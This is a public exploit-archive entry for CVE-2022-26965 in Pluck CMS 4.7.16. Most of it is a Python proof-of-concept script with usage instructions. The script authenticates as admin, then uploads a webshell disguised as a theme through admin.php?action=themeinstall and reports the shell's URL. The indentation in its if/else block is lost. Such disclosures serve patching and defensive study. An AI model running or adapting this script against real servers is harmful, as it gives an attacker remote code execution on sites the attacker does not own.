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Pluck CMS 4.7.16 Shell Upload

Pluck CMS 4.7.16 Shell Upload
Posted Mar 16, 2022
Authored by Ashish Koli

Pluck CMS version 4.7.16 suffers from a remote shell upload execution vulnerability.

tags | exploit, remote, shell
advisories | CVE-2022-26965
SHA-256 | bf6f44f933518e9393899fb057325ea7d49f49869dd8df70566967d915f22733

Pluck CMS 4.7.16 Shell Upload

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# Exploit Title: Pluck CMS 4.7.16 - Remote Code Execution (RCE) (Authenticated)
# Date: 13.03.2022
# Exploit Author: Ashish Koli (Shikari)
# Vendor Homepage: https://github.com/pluck-cms/pluck
# Version: 4.7.16
# Tested on Ubuntu 20.04.3 LTS
# CVE: CVE-2022-26965
# Usage : python3 exploit.py <IP> <Port> <Password> <Pluckcmspath>
# Example: python3 exploit.py 127.0.0.1 80 admin /pluck
# Reference: https://github.com/shikari00007/Pluck-CMS-Pluck-4.7.16-Theme-Upload-Remote-Code-Execution-Authenticated--POC

'''
Description:
A theme upload functinality in Pluck CMS before 4.7.16 allows an admin
privileged user to gain access in the host through the "themes files",
which may result in remote code execution.
'''


'''
Import required modules:
'''
import sys
import requests
import json
import time
import urllib.parse
import struct

'''
User Input:
'''
target_ip = sys.argv[1]
target_port = sys.argv[2]
password = sys.argv[3]
pluckcmspath = sys.argv[4]


'''
Get cookie
'''
session = requests.Session()
link = 'http://' + target_ip + ':' + target_port + pluckcmspath
response = session.get(link)
cookies_session = session.cookies.get_dict()
cookie = json.dumps(cookies_session)
cookie = cookie.replace('"}','')
cookie = cookie.replace('{"', '')
cookie = cookie.replace('"', '')
cookie = cookie.replace(" ", '')
cookie = cookie.replace(":", '=')


'''
Authentication:
'''
# Compute Content-Length:
base_content_len = 27
password_encoded = urllib.parse.quote(password, safe='')
password_encoded_len = len(password_encoded.encode('utf-8'))
content_len = base_content_len + password_encoded_len

# Construct Header:
header = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': str(content_len),
'Origin': 'http://' + target_ip,
'Connection': 'close',
'Referer': 'http://' + target_ip + pluckcmspath + '/login.php',
'Cookie': cookie,
'Upgrade-Insecure-Requests': '1'
}

# Construct Data:
body = {
'cont1': password,
'bogus': '',
'submit': 'Log in',
}

# Authenticating:
link_auth = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/login.php'
auth = requests.post(link_auth, headers=header, data=body)
print('')
if 'error' in auth.text:
print('Password incorrect, please try again:')
exit()
else:
print('Authentification was succesfull, uploading webshell')
print('')


'''
Upload Webshell:
'''
# Construct Header:
header1 = {
'Host': target_ip,
'Cache-Control': 'max-age=0',
'sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="90"',
'sec-ch-ua-mobile': '?0',
'Origin': 'http://' + target_ip,
'Upgrade-Insecure-Requests': '1',
'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryH7Ak5WhirAIQ8o1L',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-User': '?1',
'Sec-Fetch-Dest': 'document',
'Referer': 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=themeinstall',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'en-US,en;q=0.9',
'Cookie': cookie,
'Connection': 'close',

}


# loading Webshell payload:
path = 'shell.tar'
fp = open(path,'rb')
data= fp.read()


# Uploading Webshell:
link_upload = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=themeinstall'
upload = requests.post(link_upload, headers=header1, data=data)


'''
Finish:
'''
print('Uploaded Webshell to: http://' + target_ip + ':' + target_port + pluckcmspath + '/data/themes/shell/shell.php')
print('')

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